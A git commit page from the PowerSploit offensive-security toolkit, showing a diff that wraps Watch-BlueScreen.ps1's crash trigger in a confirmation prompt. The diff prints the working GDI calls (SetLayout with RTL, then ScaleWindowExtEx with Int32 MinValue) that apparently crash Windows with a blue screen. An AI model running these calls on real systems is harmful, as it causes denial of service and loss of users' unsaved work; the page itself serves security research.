aboutsummaryrefslogtreecommitdiff
path: root/CodeExecution
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-05-13 20:26:05 -0400
committerMatt Graeber <mattgraeber@gmail.com>2013-05-13 20:26:05 -0400
commita1cb7db1d005bc2bb55a40d48fffae5d633541a8 (patch)
tree961b62cea05adf847e40beb7e6d23798394bea46 /CodeExecution
parent2a17b8fb56db07519e8e6b7d6819749ce743c882 (diff)
downloadPowerSploit-a1cb7db1d005bc2bb55a40d48fffae5d633541a8.tar.gz
PowerSploit-a1cb7db1d005bc2bb55a40d48fffae5d633541a8.zip
Added an idiot filter to Watch-BlueScreen
Diffstat (limited to 'CodeExecution')
-rw-r--r--CodeExecution/Watch-BlueScreen.ps110
1 files changed, 7 insertions, 3 deletions
diff --git a/CodeExecution/Watch-BlueScreen.ps1 b/CodeExecution/Watch-BlueScreen.ps1
index 8523bf2..2fa317e 100644
--- a/CodeExecution/Watch-BlueScreen.ps1
+++ b/CodeExecution/Watch-BlueScreen.ps1
@@ -23,6 +23,7 @@
http://blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html
https://twitter.com/NTarakanov/status/334031968465453057
#>
+ [CmdletBinding( ConfirmImpact = 'High')] Param ()
try { $Gdi32 = [Gdi32] } catch [Management.Automation.RuntimeException]
{
@@ -68,7 +69,10 @@
$LAYOUT_RTL = 1
- $DC = $Gdi32::CreateCompatibleDC([IntPtr]::Zero)
- $Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null
- $Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null
+ if ($psCmdlet.ShouldContinue( 'Do you want to continue?', 'You may want to save your work before continuing.' ))
+ {
+ $DC = $Gdi32::CreateCompatibleDC([IntPtr]::Zero)
+ $Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null
+ $Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null
+ }
} \ No newline at end of file